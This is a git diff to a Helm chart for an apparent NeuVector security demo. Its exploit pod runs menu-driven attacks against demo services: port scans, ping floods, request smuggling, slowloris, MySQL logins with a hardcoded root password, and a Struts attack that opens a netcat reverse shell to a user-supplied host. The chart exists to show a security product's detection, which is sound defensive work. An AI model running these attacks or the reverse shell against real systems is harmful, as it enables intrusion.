diff --git a/README.md b/README.md index 9bee42b..7f96b5f 100644 --- a/README.md +++ b/README.md @@ -1 +1,22 @@ # nv-demo-helm +Using this chart, will install some demo pods, as well as a menu based tool to trigger various activities.
+This chart can be installed in 1..n namespaces, and traffic etc... will be localized to that NS. + +## Install helm chart: +exploit.image_tag: See valid tags at https://hub.docker.com/repository/docker/horantj/exploit + +struts.ingress.enabled: bool to enable ingress for struts. not strictly required for the menu tool. +struts.ingress.host: Use a host or IP for ingress to struts. i.e. "struts.3.227.235.243.sslip.io" + +``` +git clone https://github.com/horantj/nv-demo-helm.git +helm install -n demo --create-namespace \ +--set exploit.image_tag=0.4 --set struts.ingress.enabled=true \ +--set struts.ingress.host=struts.3.227.235.243.sslip.io +``` + +## Using exploit tool: +Shell into the exploit pod and run the tool: +``` +python3 exploit.py neuvector-svc-controller.cattle-neuvector-system.svc +``` \ No newline at end of file diff --git a/exploit-pod/Dockerfile b/exploit-pod/Dockerfile index e01135d..3be5a25 100644 --- a/exploit-pod/Dockerfile +++ b/exploit-pod/Dockerfile @@ -1,5 +1,5 @@ FROM alpine:edge -RUN apk upgrade && apk add -f py3-numpy py3-requests curl nmap mysql-client && \ +RUN apk upgrade && apk add -f py3-numpy py3-requests curl nmap mysql-client iputils && \ rm -rf /var/cache/apk/* && \ rm -rf /tmp/* && \ rm -rf /var/log/* diff --git a/exploit-pod/exploit.py b/exploit-pod/exploit.py index 51fde01..b6b048d 100644 --- a/exploit-pod/exploit.py +++ b/exploit-pod/exploit.py @@ -10,27 +10,26 @@ import sys import numpy as np - def portscan(): - ping_list = ["redis.demo.svc.cluster.local"] + print("Running nmap against redis") + ping_list = ["redis"] for n in range(1): for svc in ping_list: os.system("nmap -p- -O {0}".format(svc)) time.sleep(1) - def portscan_lite(): - ping_list = ["node.demo.svc.cluster.local", "redis.demo.svc.cluster.local"] + print("Running nmap against node and redis") + ping_list = ["node", "redis"] for svc in ping_list: os.system("nmap {0}".format(svc)) - - def ping_of_death(): - ping_list = ["node.demo.svc.cluster.local"] + print("Running ping -c 2 -s 40000 against node") + ping_list = ["node"] for n in range(2): for svc in ping_list: - os.system("ping {} -c 2 -s 40000".format(svc)) + os.system("ping -c 2 -s 40000 {}".format(svc)) def getaddr(): while True: @@ -51,29 +50,28 @@ def get_neuvector_token(username,password,controller_ip): r = requests.post(url, data=json.dumps(payload), headers=headers, verify=False) return (r) - def neuvector_credentials(): username = input("What is Neuvector username: ") password = input("What is Neuvector password: ") ipaddr = input("what is the IP Address of Selected Controller: ") return {"username": username, "password": password, "controller_ip": ipaddr} - def https_google(): + print("Running curl to https://www.google.com") results = os.system("curl https://www.google.com > /tmp/test") return (results) def http_google(): + print("Running curl to http://www.google.com") results = os.system("curl http://www.google.com > /tmp/test") return (results) - def change_mode_monitor(token, controller_ip): done =0 retries = 5 url = "https://"+controller_ip+":10443/v1/service/config" #url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config" - payload = {"config": {"services": ["exploit.demo", "node-pod.demo","redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Monitor"}} + payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Monitor"}} headers = {'X-Auth-Token': token} while done < retries: r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False) @@ -91,7 +89,7 @@ def change_mode_protect(token, controller_ip): retries = 5 url = "https://"+controller_ip+":10443/v1/service/config" #url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config" - payload = {"config": {"services": ["exploit.demo", "node-pod.demo", "redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Protect"}} + payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Protect"}} headers = {'X-Auth-Token': token} while done < retries: r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False) @@ -104,13 +102,12 @@ def change_mode_protect(token, controller_ip): done += 1 return(r) - def change_mode_discover(token, controller_ip): done =0 retries = 5 url = "https://"+controller_ip+":10443/v1/service/config" #url = "https://neuvector-svc-controller.neuvector.svc.cluster.local:10443/v1/service/config" - payload = {"config": {"services": ["exploit.demo", "node-pod.demo", "redis-pod.demo", "nginx-pod.demo", "mysql1.demo", "struts.demo"], "policy_mode": "Discover"}} + payload = {"config": {"services": ["node-pod."+my_ns, "redis-pod."+my_ns, "nginx-pod."+my_ns, "mysql1."+my_ns, "struts."+my_ns], "policy_mode": "Discover"}} headers = {'X-Auth-Token': token} while done < retries: r = requests.patch(url, data=json.dumps(payload), headers=headers, verify=False) @@ -129,6 +126,7 @@ def convert_token(token): return(token_dict['token']['token']) def generate_client_traffic(): + print("Making web calls to nginx and struts as well as mysql login") urls = ["http://nginx-webui", "http://struts"] for url in urls: for n in range(10): @@ -136,10 +134,10 @@ def generate_client_traffic(): mysql_password_correct() def suspicious_process(): + print("Running wget which should be suspicious in zero trust") domain_list = ["google","neuvector"] for svc in domain_list: - os.system("wget https://{}.com".format(svc)) - + os.system("wget -O/dev/null https://{}.com".format(svc)) def os_update(): os.system("apt-get update -y") @@ -149,17 +147,22 @@ def neuvector_Logout(token): headers = {'X-Auth-Token': token} r = requests.delete(url,headers=headers, verify=False) - def ping_flood(): - ping_list = ["node.demo.svc.cluster.local", "redis.demo.svc.cluster.local"] + print("Running ping -f -w 2 to node and redis") + ping_list = ["node", "redis"] for n in range(1): for svc in ping_list: - os.system("ping -f {} -w 2".format(svc)) - + os.system("ping -f -w 2 {}".format(svc)) +def get_ns(): + global my_ns + text_file = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace", "r") + my_ns = text_file.read() + text_file.close() def request_smuggling(): - ping_list = [ "nginx-webui.demo.svc.cluster.local"] + print("Running a request smuggling attack against nginx/node") + ping_list = [ "nginx-webui"] headers = {'Content-Length': '999'} print("start http request smuggling") for svc in ping_list: @@ -167,30 +170,30 @@ def request_smuggling(): os.system("curl -H \"Content-Length: 123\" http://{} & ".format(svc)) def mysql_password(): - svc ="mysql1.demo.svc.cluster.local" + print("Creating failed logins to mysql1") + svc ="mysql1" for n in range(5): os.system("mysql -h {} -u hacker -password=hackck1".format(svc)) time.sleep(2) - def mysql_password_correct(): - svc ="mysql1.demo.svc.cluster.local" - for n in range(5): - os.system("mysql -h {} -u root -password=password".format(svc)) + print("Creating a successful mysql connection") + svc ="mysql1" + for n in range(1): + os.system("mysql -h {} -u root --password=password -e \"select * from mysql.user\" > /dev/null".format(svc)) time.sleep(2) - - def slow_loris(): - node_list = ["nginx-webui.demo.svc.cluster.local"] + node_list = ["nginx-webui"] for n in range(2): for svc in node_list: os.system("telnet {} 80 &".format(svc)) - - def attack_struts(): - command= 'nc -nv 184.96.190.7 1337 -e /bin/sh' + print("This will run a struts attack against the vulnerable super-app and create a reverse shell to the specified host") + print('Enter hostname or IP listening for reverse shell on port 1337:') + shellip = input() + command= 'nc -nv '+shellip+' 1337 -e /bin/sh' exploit = ''' @@ -249,7 +252,7 @@ def attack_struts(): ''' - url = "http://struts.demo" + url = "http://struts/super-app/orders/3" headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0', 'Content-Type': 'application/xml'} @@ -257,8 +260,6 @@ def attack_struts(): request = requests.post(url, data=exploit, headers=headers) print (request.text) - - def inputNumber(): while True: try: @@ -268,8 +269,6 @@ def inputNumber(): pass return num - - def generate_all_traffic(token,controller_ip): print("Sending Client Traffic....") @@ -340,7 +339,6 @@ def displayMenu(options): pass return choice - def items(token, controller_ip): menuItems = np.array(["Launch all","Initiate Client Traffic","Initate Ping Death Threat","Initiate Ping Flood Threat", "Launch Suspicious Process","Initiate HTTP Request Smuggling Threat", "Launch Port Scan","Initiate MySQL Unauthorized User with packet capture", @@ -419,14 +417,6 @@ def items(token, controller_ip): mysql_password_correct() elif choice == 18: break - elif choice == 19: - print("Struts attack!") - attack_struts() - - - - - def main(): @@ -437,7 +427,7 @@ def main(): token_txt = get_neuvector_token(username,password,controller_ip) token= convert_token(token_txt) - + get_ns() items(token,controller_ip) diff --git a/nv-demo/templates/exploit-deployment.yaml b/nv-demo/templates/exploit-deployment.yaml index 3356d6f..a8e7343 100644 --- a/nv-demo/templates/exploit-deployment.yaml +++ b/nv-demo/templates/exploit-deployment.yaml @@ -26,7 +26,7 @@ spec: containers: - args: - bash - image: horantj/exploit:0.3 + image: horantj/exploit:{{ .Values.exploit.image_tag }} imagePullPolicy: IfNotPresent name: exploit resources: {} diff --git a/nv-demo/templates/mysql-deployment.yaml b/nv-demo/templates/mysql-deployment.yaml index b3001e0..47501f6 100644 --- a/nv-demo/templates/mysql-deployment.yaml +++ b/nv-demo/templates/mysql-deployment.yaml @@ -21,6 +21,10 @@ spec: - env: - name: MYSQL_ROOT_PASSWORD value: password + - name: MYSQL_ROOT_HOST + value: '%' + - name: MYSQL_LOG_CONSOLE + value: "TRUE" image: mysql:5.7 imagePullPolicy: IfNotPresent name: mysql1 diff --git a/nv-demo/templates/redis-deployment.yaml b/nv-demo/templates/redis-deployment.yaml index eb43dfa..456d042 100644 --- a/nv-demo/templates/redis-deployment.yaml +++ b/nv-demo/templates/redis-deployment.yaml @@ -2,7 +2,6 @@ apiVersion: apps/v1 kind: Deployment metadata: name: redis-pod - namespace: demo spec: selector: matchLabels: diff --git a/nv-demo/templates/redis-service.yaml b/nv-demo/templates/redis-service.yaml index 039d343..4229847 100644 --- a/nv-demo/templates/redis-service.yaml +++ b/nv-demo/templates/redis-service.yaml @@ -2,7 +2,6 @@ apiVersion: v1 kind: Service metadata: name: redis - namespace: demo spec: ports: - port: 6379 diff --git a/nv-demo/values.yaml b/nv-demo/values.yaml index bd901d9..85ce363 100644 --- a/nv-demo/values.yaml +++ b/nv-demo/values.yaml @@ -3,9 +3,11 @@ struts: type: ClusterIP port: 80 ingress: - enabled: true - host: "struts.34.206.72.88.sslip.io" + enabled: false + host: "struts.host" ingressClassName: "" path: "/" annotations: {} - tls: true \ No newline at end of file + tls: true +exploit: + image_tag: "0.3" \ No newline at end of file